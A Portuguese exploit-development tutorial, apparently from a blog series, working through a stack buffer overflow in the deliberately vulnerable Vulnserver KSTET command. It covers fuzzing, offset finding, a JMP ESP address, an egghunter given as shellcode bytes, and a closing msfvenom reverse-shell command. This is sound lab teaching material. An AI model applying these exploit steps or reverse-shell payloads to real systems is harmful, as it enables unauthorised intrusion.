Ola pessoal,
Neste post vamos dar inicio a nossa análise de caso do Vulnserver KSTET. Como característica este servidor é vulnerável a stack buffer overflow mas com um buffer extremamente pequeno, 66 bytes. Sendo assim neste post abordaremos a utilização da técnica de egghunter, que basicamente consiste em encontrar e executar nosso shellcode (egg) em outra área de memória.
O Exploit
0x01 - Fuzzing
Antes de mais nada precisamos encontrar a nossa vulnerabilidade. Para isso vamos realizar um processo de fuzzing em cima do vulnserver.
Antes de iniciar o fuzzing, vamos conhecer um pouco mais da aplicação. Ao conectar na aplicação ela nos mostra uma mensagem de boas vindas e sugerindo a execução do comando HELP.
[sourcecode language="shell"]# nc 172.30.200.66 9999
Welcome to Vulnerable Server! Enter HELP for help.
[/sourcecode]
Ao executar o comando HELP a aplicação nos retorna os comandos disponíveis
[sourcecode language="shell"]# nc 172.30.200.66 9999
Welcome to Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT
[/sourcecode]
Enquanto isso em sua console principal a aplicação mostra que ocorreu uma conexão
Para o processo de fuzzing vamos utilizar a aplicação spike, como sempre ao conectar no servidor ele retorna essa mensagem de boas vindas temos que informar para o spike ler essa mensagem antes de enviar os comandos desejados.
Usando este arquivo do spike (demonstrado acima) iremos realizar o fuzzing na porção kstet_value do comando depois de ler a mensagem de boas vindas. Anexe o vulnserver no Immunity Debugger e execute o comando abaixo:
[sourcecode language="shell"]root@M4v3r1cK:~/vulnserver/exploit1_egghunter# generic_send_tcp 172.30.200.66 9999 01-fuzz.spk 0 0
Total Number of Strings is 681
Fuzzing
Fuzzing Variable 0:0
line read=Welcome to Vulnerable Server! Enter HELP for help.
Fuzzing Variable 0:1
Variablesize= 5004
Fuzzing Variable 0:2
Variablesize= 5005
Fuzzing Variable 0:3
Variablesize= 21
^C
[/sourcecode]
Logo na primeira interação (demonstrada abaixo) o vulnserver travou em nosso debug.
[sourcecode language="shell"]Fuzzing Variable 0:1
Variablesize= 5004
[/sourcecode]
Observe a saída do spike (demonstrada acima), ela nos diz que fou realizado o fuzzing na primeira variável (como os computadores iniciam em zero, nossa primeira variável é referenciada como 0). No outro lado dos dois pontos, podemos ver que temos a segunda interação do fuzzing representada pelo 1. Na outra linha o spike nos mostrou o tamanho do buffer que ele enviou, neste caso 5004 bytes. Agora podemos ver como isso ficou no Immunity Debugger:
Pode-se observar que o spike enviou a requisição conforme abaixo:
[sourcecode language="shell"]KSTET /.:/AAAAAAAAA........
[/sourcecode]
Provavelmente 5000 A com o prefixo /.:/
Vamos duplicar este exploit em python criando então uma prova de conceito (PoC)
0x02 - Exploit de PoC
Daqui para frente utilizaremos scripts Python para realizar todo nosso processo. Como ja sabemos nosso Overflow ocorreu com 5000 bytes + 4 caracteres /.:/ então vamos reproduzir isso:
Executando nosso PoC temos a seguinte saída:
[sourcecode language="shell"]root@M4v3r1cK:~/vulnserver/exploit1_egghunter# ./02-poc.py
[*] Enviando requisicao maliciosa ...
[/sourcecode]
Agora que temos uma prova de conceito funcional, vamos aprofundar e determinar o tipo de overflow (se é uma substituição simples do EIP, SEH e etc...) e em que offset isso ocorre.
0x03 - Determinando o tipo de Exploit e o Offset de controle
Olhando na imagem (do immunity Debugger) podemos observar que o registrador EIP foi substituido por:
[sourcecode language="shell"]41414141
[/sourcecode]
Se você está lendo nossos posts de forma sequencial ou ja realizou uma outra exploração de Buffer Overflow sabe que A (maiúsculo) corresponde ao hexa 41. Bom! agora sabemos que temos um stacked buffer overflow de simples substituição do EIP, ou também conhecido como vanilla EIP overwrite. Agora precisamos saber em que ponto do nosso 5000 bytes está ocorrendo a substiruição do EIP. Vamos usar uma ferramenta da metasploit para gerar um buffer único e depois identificar em quem ponsto a substituição ocorreu.
Gerando o buffer único:
[sourcecode language="shell"]root@M4v3r1cK:~/vulnserver/exploit1_egghunter# msf-pattern_create -l 5000
[/sourcecode]
Agora basta copiar e colar este buffer em nosso arquivo python conforme demonstrado abaixo:
Execute este script e veja como ficou o registrador EIP:
Agora basta usar o comando msf-pattern_offset com o valor de EIP para identificar a posição exata do buffer:
[sourcecode language="shell"]root@M4v3r1cK:~/vulnserver/exploit1_egghunter# msf-pattern_offset -l 5000 -q 41326341
[*] Exact match at offset 66
[/sourcecode]
Isso indica que o EIP inicia no offset 66, ou seja, na posição 66, em outras palavras, temos 66 bytes de caracteres antes do EIP + 4 bytes do EIP e depois o restante do buffer. Vamos atualizar nosso exploit e verificar se temos o offset correto.
0x04 - Verificando o Offset
Vamos atualizar nosso exploit PoC com o tamanho do Offset conforme abaixo:
E executamos ele obtendo o resultado abaixo:
Isso indica que temos um exploit funcional que substituiu o EIP pelos nossos Bs, hexa 0x42, e que o ESP está apontado para o ponto exatamente posterior ao EIP, onde estão nossos Cs.
Porém olhando um pouco mais a fundo em nossa pilha de memória podemos ver que temos um numero limitado de Cs mesmo tendo enviado 500, este número é exatamente 20 bytes que pode ser calculado de 2 formas diferentes:
- Contando: Cada linha tem 4 bytes e no stack temos 5 linhas, então 4*5 = 20 bytes
- Calculando: endereço inicial do stack 00FEF9F8, o primeiro caractere depois dos C está localizado em 00FEFA0C, então 00FEFA0C - 00FEF9F8 = 20 bytes
Mas e dai que só tem 20 bytes? Isso indica que só teremos estes 20 bytes + os 66 bytes (antes do EIP) para realizar todo nosso processo de exploração, e um shellcode pequeno gerado pelo msfvenom tem pelo menos 354 bytes. Então teremos que ser criativos.
Nota importante: Cuidado com os próximos passos para não continuar usando o buffer maior que 20 bytes após o endereço do EIP, pois isso causará problemas futuros.
0x05 - Saltando para nosso Buffer
O próximo passo em nosso processo de exploração será saltar para os nossos Cs, para isso precisaremos localizar um endereço de memória (sem o nullbyte 0x00) que faça o JMP ESP ou CALL ESP, podemos usar o script Mona para nos ajudar nessa tarefa. Note que vou utlizar o -n para ignorar os endereços iniciados por null byte.
[sourcecode language="shell"]!mona jmp -n -r ESP
[/sourcecode]
Este comando nos retornou 9 opções
Porém a nossa escolha foi a primeira:
[sourcecode language="shell"]Log data, item 11
Address=625011AF
Message= 0x625011af : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (essfunc.dll)
[/sourcecode]
Por hora não conhecemos nenhum badchar, a não ser os classisos para um servidor baseado em comandos ASCII (0x00 - null byte, 0x0d - '\r', 0x0a - '\n'). Adicionamente este endereço não tem outras proteções como SafeSEH e ASLR e é uma DLL do proprio sistema, o que facilita as coisas pois não corre-se o risco do endereço se alterar com a mudança de sistema operacional.
Então vamos atualizar nosso exploit para realizar esse JMP ESP. Nele utilizaremos uma função chamada pack da biblioteca struct para alterar o endereço entre big endian e little endian.
Segue nosso exploit atualizado:
Antes de rodar nosso exploit novamente, no Immunity Debbuger clique no botão Goto address in Dissassembler demonstrado abaixo:
E digite o endereço da instrução JMP ESP escolhida:
Se certifique que está no endereço correto pois algumas vezes é necessário fazer este processo mais de uma vez para alcançar o endereço correto. Uma vez no endereço correto pressionne F2 para adicionar um breakpoint.
Agora execute o exploit e veja a aplicação parando no breakpoint selecionado
Observe que essa parada foi devido ao breakpoint, sabemos isso por causa do texto na barra de status "Breakpoint at essfunc.625011AF" e não outro erro como access violation.
Para dar continuidade pressione F7 (Step Into) para permitir o JMP para o endereço do ESP que por sua vez é a localização dos nossos Cs
0x06 - Saltando para o buffer maior
Até este ponto conseguimos saltar para o nosso ESP que é um buffer com 20 bytes, que não da p/ fazer quase nada, mas é mais que suficiente para que possamos fazer um salto para traz indo para nossos As que é um buffer um pouco maior (66 bytes)
Mas como fazemos isso? Há diversas formas, vamos explorar uma delas aqui, mas para isso precisamos saber onde estamos.
Olhando na imagem anterior vemos o seguinte cenário:
[sourcecode language="shell"]00EDF9F8 43 INC EBX
[/sourcecode]
Estamos no endereço de memória 00EDF9F8. Mas onde está o início dos nossos As?
[sourcecode language="shell"]00EDF9B2 41 INC ECX
[/sourcecode]
Então podemos fazer alguns cálculos para realizar a movimentação necessária
[sourcecode language="shell"]00EDF9F8 (Localização atual) - 00EDF9B2 (Posição desejada) = Valor em Hexa: 46 ou Valor em Decimal: 70
[/sourcecode]
Para realizar os calculos do ESP de forma segura vamos colocar seu valor em EDX:
[sourcecode language="shell"]PUSH ESP
POP EDX
[/sourcecode]
E posteriormente subtrair 0x46 (decimal 70) de seu valor:
[sourcecode language="shell"]SUB EDX,0x46
[/sourcecode]
E por fim saltar para o endereço desejado:
[sourcecode language="shell"]JMP EDX
[/sourcecode]
Caso não esteja familiarizado o mestasploit tem uma ferramenta para nos ajudar neste processo de criação dos OPCODES chamada msf-nasm_shell conforme demonstrado abaixo:
[sourcecode language="shell"]root@M4v3r1cK:~# msf-nasm_shell
nasm > PUSH ESP
00000000 54 push esp
nasm > SUB EDX,0x46
00000000 83EA46 sub edx,byte +0x46
nasm > JMP EDX
00000000 FFE2 jmp edx
nasm >
[/sourcecode]
Segue abaixo o exploit atualizado:
Este é um dos métodos de realizar este processo, e o escolhido por mim neste exploit, porém há métodos mais econômicos do ponto de vista de consumo de espaço uma vez que temos somente 20 bytes. Como por exemplo o JUMP para 72 bytes para traz (70 bytes desejados + 2 consumido pela da instrução de JMP)
[sourcecode language="shell"]root@M4v3r1cK:~# msf-nasm_shell
nasm > JMP short -72
00000000 EBB6 jmp short 0xffffffb8
nasm >
[/sourcecode]
Segue abaixo a segunda opção:
Note que como neste nosso exploit nesse primeiro estágio só precisamos realizar o salto para nosso segundo estágio (nossos As) não faz diferença no método utilizado, mas caso precisasse realizar outras operações nestes restritos 20 bytes essa segunda opção certamente seria a melhor opção.
Reiniciando o Immunity, redefinindo nosso breakpoint no commando JMP ESP e então pressionando F7 quando a execução parar no breakpoint chegaremos ao resultado abaixo:
Neste ponto temos pelo menos 2 formar de continuar com o exploit:
- Verificando a possibilidade de enviar o shellcode através de outro comando do servidor e buscando essa área de memória com egghunter
- Reutilizando a função WS2_32.recv (que foi a função utilizada para ler nosso buffer inicial) para ler da nossa própria conexão um novo buffer (shellcode) e posteriormente executa-lo. Este processo está descrito no post Criação de Exploits – Parte 4 – Estudo de caso: vulnserver KSTET com reaproveitamento da função WS2_32 Recv
Neste post abordaremos a opção 1: utilização de egghunter.
0x07 - PoC2 Localizando o Shellcode
Antes de dar continuidade ao processo de exploit primeiramente precisamos entender se será possível enviar o nosso shellcode através de outro comando para o servidor. Após diversos testes encontrei a função GDOG do servidor que permite o envio de pelo menos 1000 bytes, mais que suficiente para a colocação do nosso shellcode.
Para facilitar nosso teste no lugar doa 66 As vou colocar 66 0xCC (breakpoint), para que a aplicação pare a execução nele e possamos analisar a memória. Adicionalmente foi colocado no script um envio do nosso pseudo shellcode antes no buffer que irá causar o overflow, conforme exemplificado abaixo:
[sourcecode language="shell"]shellcode = b"GDOG "
shellcode += "T00WT00W"
shellcode += "C" * 1000
print "[*] Enviando shellcode..."
exp.recv(4096)
exp.send(shellcode)
print "[*] Enviando exploit..."
exp.recv(4096)
exp.send(buffer)
[/sourcecode]
Execute o exploit:
Note que como esperado a aplicação parou no breakpoint 0xCC:
Com a ajuda do script mona podemos verificar se foi encontrado na memória
[sourcecode language="shell"]!mona find -s T00WT00W
[/sourcecode]
Bom! Se o mona foi capaz de achar um egghunter escrito por nós também será.
0x08 - Egghunter
Egghunter é uma técnica utilizada onde temos um código relativamente pequeno +- 45 bytes que tem sua principal função buscar na memória um 'egg' que é na verdade nosso shellcode. É muito comum neste tipo de estudo você ver o termo T00W ou W00T, ele é uma regra? Não, ele é o que geralmente usamos para fins acadêmicos, mas pode ser qualquer sequencia de 4 bytes que será utilizada para identificar o inicio do nosso shellcode.
O Egghunter proposto neste post executa se forma simplificada o seguinte fluxo:
- Define o endereço de memória inicial da busca e salta para o passo 4;
- Incrementa 4Kb ao endereço de memória atual e segue para o passo 4;
- Incrementa 1 byte ao endereço de memória atual;
- Verifica se tem acesso ao endereço de memória; Se sim salta para o passo 5; caso não salta para o passo 2;
- Verifica se no endereço atual existe 1 instância do nosso EGG (W00T); Se existe continua a execução para o passo 6; caso contrário salta para o passo 3;
- Verifica se nos próximos 4 bytes existe mais 1 instância do nosso EGG (W00T); Se sim faz um JMP para o byte seguinte do WOOTWOOT; caso não salta para o passo 3;
Então vamos o nosso egghunter
Para compilar ele e pegar o seu opcode para colocar em nosso python execute os comandos abaixo:
[sourcecode language="shell"]nasm egghunter1.asm -o egghunter -l egghunter.lst
cat egghunter | msfvenom -p - -a x86 --platform win -e generic/none -f python
[/sourcecode]
Tendo o seguinte resultado
[sourcecode language="shell"]Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none succeeded with size 36 (iteration=0)
generic/none chosen with final size 36
Payload size: 36 bytes
Final size of python file: 184 bytes
buf = ""
buf += "\x89\xca\xeb\x06\x66\x81\xca\xff\x0f\x42\x52\x6a\x02"
buf += "\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57"
buf += "\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
[/sourcecode]
Basta agora copiar este código para nosso exploit. Para facilitar nosso estudo fiz uma alteração no exploit adicionando um breakpoint antes da chamada JMP EDI ficando como abaixo:
Ao executar o nosso exploit ele irá parar na chamada no JMP EDI para que possamos verificar como estão nossos registradores, conforme imagem abaixo:
Pode-se observar que o EDI aponta para o endereço de memória
[sourcecode language="shell"]0x0027437D
[/sourcecode]
Que per sua vez é o endereço exatamente posterior ao endereço do W00TW00T, você deve ter percebido que na memória o W00TW00T aparece como T00WT00W, isso ocorre em virtude do endianess.
0x09 - Aproveite o shell
Agora basta alterar os Cs para o shellcode gerado pelo msfvenom e aproveitar.
Gere o shellcode com o comando abaixo, nele coloquei como badchars os clássicos nullbyte, \r e \n.
[sourcecode language="shell"]msfvenom -p windows/shell_reverse_tcp lhost=192.168.15.177 lport=4444 -a x86 --platform win -e x86/alpha_mixed -b "\x00\x0a\x0d" -f python
[/sourcecode]
Copie o conteúdo do buffer no exploit conforme arquivo abaixo e senha feliz!